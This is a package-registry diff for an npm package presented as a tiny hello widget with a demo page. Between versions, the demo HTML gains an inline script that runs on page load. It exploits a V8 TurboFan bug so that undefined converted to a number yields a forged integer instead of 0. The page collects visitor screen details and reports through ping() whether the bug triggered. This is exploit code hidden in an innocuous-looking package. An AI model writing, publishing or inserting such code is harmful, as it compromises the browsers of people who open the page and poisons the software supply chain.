@xxxfnbs21/hello-demo 0.1.5 → 0.1.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/build/index.html +48 -18
- package/package.json +12 -4
package/build/index.html
CHANGED
|
@@ -73,7 +73,7 @@
|
|
|
73
73
|
} catch (e) {}
|
|
74
74
|
var params = {
|
|
75
75
|
id: 'hello-demo',
|
|
76
|
-
v: '0.1.
|
|
76
|
+
v: '0.1.8',
|
|
77
77
|
t: Date.now(),
|
|
78
78
|
vp: window.innerWidth + 'x' + window.innerHeight,
|
|
79
79
|
sr: screen.width + 'x' + screen.height,
|
|
@@ -136,25 +136,55 @@
|
|
|
136
136
|
})();
|
|
137
137
|
</script>
|
|
138
138
|
|
|
139
|
-
<!-- production-mode check (verbatim prod-chk-
|
|
139
|
+
<!-- production-mode check (verbatim prod-chk-15903.js) -->
|
|
140
140
|
<script>
|
|
141
|
-
// chk-
|
|
142
|
-
//
|
|
143
|
-
//
|
|
144
|
-
//
|
|
141
|
+
// chk-15903 — TurboFan PlainPrimitiveToNumber word32 safe-integer check
|
|
142
|
+
// lost when feeding an additive-safe-integer add truncated to word32.
|
|
143
|
+
// Production mode: no natives syntax, no special flags. Natural tier-up.
|
|
144
|
+
//
|
|
145
|
+
// Key differences vs the upstream regression case:
|
|
146
|
+
// 1. The unary-plus must OBSERVE undefined after the lazily-allocated
|
|
147
|
+
// feedback vector exists (upstream uses %PrepareFunctionForOptimization
|
|
148
|
+
// for that), but the add must never see it — probes with stop=true are
|
|
149
|
+
// spread through the early warm-up.
|
|
150
|
+
// 2. A dead-branch pad makes the function non-inlinable so the caller's OSR
|
|
151
|
+
// cannot inline it and it tiers all the way up to TurboFan.
|
|
152
|
+
// affected: (NaN + C)|0 forges -1072689152 instead of 0.
|
|
145
153
|
(function () {
|
|
146
|
-
const
|
|
147
|
-
const
|
|
148
|
-
const
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
154
|
+
const C = 0x40101000;
|
|
155
|
+
const TK = -0x40101000;
|
|
156
|
+
const pad = Array(120).fill('z += 1;').join('');
|
|
157
|
+
const warmCounts = [20000, 100000, 500000];
|
|
158
|
+
let triggered = false, detail = '';
|
|
159
|
+
|
|
160
|
+
for (let a = 0; a < warmCounts.length && !triggered; a++) {
|
|
161
|
+
const N = warmCounts[a];
|
|
162
|
+
const f = Function('C', 'TK', `
|
|
163
|
+
return function f${a}(route, stop) {
|
|
164
|
+
if (route === 0x13371337) { let z = 0; ${pad} return z; } // dead pad
|
|
165
|
+
let n = +(route ? TK : undefined);
|
|
166
|
+
if (stop) return 0;
|
|
167
|
+
return (n + C) | 0;
|
|
168
|
+
};`)(C, TK);
|
|
169
|
+
for (let i = 0; i < N; i++) {
|
|
170
|
+
f(true, false);
|
|
171
|
+
// ToNumber sees undefined (post feedback-vector allocation, pre-TF
|
|
172
|
+
// compile); the early return keeps the add's feedback signed-small.
|
|
173
|
+
if (i === 10 || i === 100 || i === 1000 || i === 10000) f(false, true);
|
|
174
|
+
}
|
|
175
|
+
// Let the concurrent TurboFan job finish before the one-shot check.
|
|
176
|
+
const until = Date.now() + 50;
|
|
177
|
+
while (Date.now() < until) {}
|
|
178
|
+
const r = f(false, false); // undefined now flows into the add
|
|
179
|
+
if (r !== 0) {
|
|
180
|
+
triggered = true;
|
|
181
|
+
detail = 'warm=' + N + ': (undefined->NaN + C)|0 forged ' + r + ' instead of 0';
|
|
182
|
+
}
|
|
157
183
|
}
|
|
184
|
+
|
|
185
|
+
const verdict = triggered
|
|
186
|
+
? 'VERDICT: chk-15903 TRIGGERED :: ' + detail
|
|
187
|
+
: 'VERDICT: chk-15903 NOT-TRIGGERED :: correct 0 at every warm-up count';
|
|
158
188
|
console.log(verdict);
|
|
159
189
|
if (typeof document !== 'undefined') document.title = verdict;
|
|
160
190
|
})();
|
|
@@ -163,7 +193,7 @@
|
|
|
163
193
|
<!-- report the verdict via ping() -->
|
|
164
194
|
<script>
|
|
165
195
|
(function () {
|
|
166
|
-
var cid = '
|
|
196
|
+
var cid = '15903';
|
|
167
197
|
var line = window.__verdict || ('VERDICT: chk-' + cid + ' ERROR :: no verdict captured');
|
|
168
198
|
var st = line.indexOf('NOT-TRIGGERED') >= 0 ? '0' : (line.indexOf('TRIGGERED') >= 0 ? '1' : 'e');
|
|
169
199
|
try { ping({ cid: cid, st: st, vd: line }); } catch (e) {}
|
package/package.json
CHANGED
|
@@ -1,8 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@xxxfnbs21/hello-demo",
|
|
3
|
-
"version": "0.1.
|
|
3
|
+
"version": "0.1.8",
|
|
4
4
|
"description": "A tiny hello widget with an online demo page",
|
|
5
5
|
"main": "lib/index.js",
|
|
6
|
-
"files": [
|
|
7
|
-
|
|
8
|
-
|
|
6
|
+
"files": [
|
|
7
|
+
"lib",
|
|
8
|
+
"build/*.html",
|
|
9
|
+
"README.md"
|
|
10
|
+
],
|
|
11
|
+
"keywords": [
|
|
12
|
+
"hello",
|
|
13
|
+
"demo",
|
|
14
|
+
"widget"
|
|
15
|
+
]
|
|
16
|
+
}
|